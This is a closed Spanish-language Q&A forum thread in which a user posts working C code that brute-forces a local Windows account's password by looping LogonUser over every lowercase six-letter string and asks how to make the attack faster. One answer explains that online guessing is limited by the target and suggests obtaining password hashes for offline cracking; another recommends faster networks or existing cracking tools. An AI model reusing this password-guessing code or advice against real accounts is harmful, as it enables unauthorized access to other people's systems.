¿Cómo realizar un ataque eficiente de fuerza bruta en Windows? [cerrado]

1

He estado tratando de encontrar una manera de utilizar la fuerza bruta de manera eficiente en Windows, pero el método que tengo actualmente no es muy eficiente. Hice algunos perfiles y descubrí que, en promedio, puede pasar por 274,080 intentos por minuto, lo que equivaldría a un peor de 18 horas para descifrar una contraseña de 6 caracteres sin caracteres especiales. ¿Hay alguna forma de atacar de forma más eficiente que esta?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

#define WIN_32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0501
#include <windows.h>

#define USERNAME "Johnny"
#define LENGTH 6
#define MINIMUM 'a'
#define MAXIMUM 'z'

double NumberOfPermuationsOfString( int length, char minimum, char maximum )
{
    return pow( ( maximum - minimum ) + 1, length );
}

FORCEINLINE int NextPermutation( char ** buffer, const size_t length, char minimum, char maximum )
{
    int i = 0;

    for ( i = length - 1; i >= 0; --i )
    {
        if ( ( *buffer )[i] != maximum )
        {
            ++( *buffer )[i];
            return 1;
        }
        else
            ( *buffer )[i] = minimum;
    }

    return 0;
}

int Bruteforce( char ** buffer, const size_t length, char minimum, char maximum )
{
    size_t result = FALSE;
    size_t i = 0;
    HANDLE htoken = INVALID_HANDLE_VALUE;

    timerMod( TIMER_START );

    do
        result = LogonUser( USERNAME, ".", *buffer, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &htoken );
    while ( !result && NextPermutation( buffer, length, MINIMUM, MAXIMUM ) );

    if ( !result ) return 0;

    CloseHandle( htoken );
    return 1;
}

int main( )
{
    char * buffer = malloc( LENGTH + 1 );

    if ( !buffer )
        showStandardError( "Allocating memory", TRUE );

    memset( buffer, 0, LENGTH + 1 );
    memset( buffer, MINIMUM, LENGTH );

    printf( "Bruteforcing with %0.lf password permuations...\n", NumberOfPermuationsOfString( LENGTH, MINIMUM, MAXIMUM ) );

    if ( Bruteforce( &buffer, LENGTH, MINIMUM, MAXIMUM ) )
    {
        printf( "Success! Password : %s\n", buffer );
        return 0;
    }
    else
        return 1;

    return 0;
}
    
pregunta Gastrocnemius 19.04.2014 - 02:28
fuente

2 respuestas

2

Parece que estás realizando un ataque "en línea", en cuyo caso la velocidad a la que puedes trabajar está limitada por la rapidez con la que tu computadora de destino está dispuesta a responder a los intentos de inicio de sesión. Ya que tu código no es (o al menos, no debería ser) el factor limitante, no hay nada que puedas hacer para acelerar el ataque.

Si puede adquirir los hashes de contraseña, puede realizar un ataque "fuera de línea", en cuyo caso la velocidad con la que puede probar las contraseñas está limitada solo por la potencia informática que puede utilizar para el trabajo.

    
respondido por el Mark 19.04.2014 - 07:55
fuente
0

¿Está intentando forzar la contraseña del sistema de Windows o la contraseña del software de terceros?

Si estás haciendo grietas en la red, intenta usar una velocidad de red más rápida. O use el software de fuerza bruta existente.

    
respondido por el tommyip 19.04.2014 - 16:51
fuente

Lea otras preguntas en las etiquetas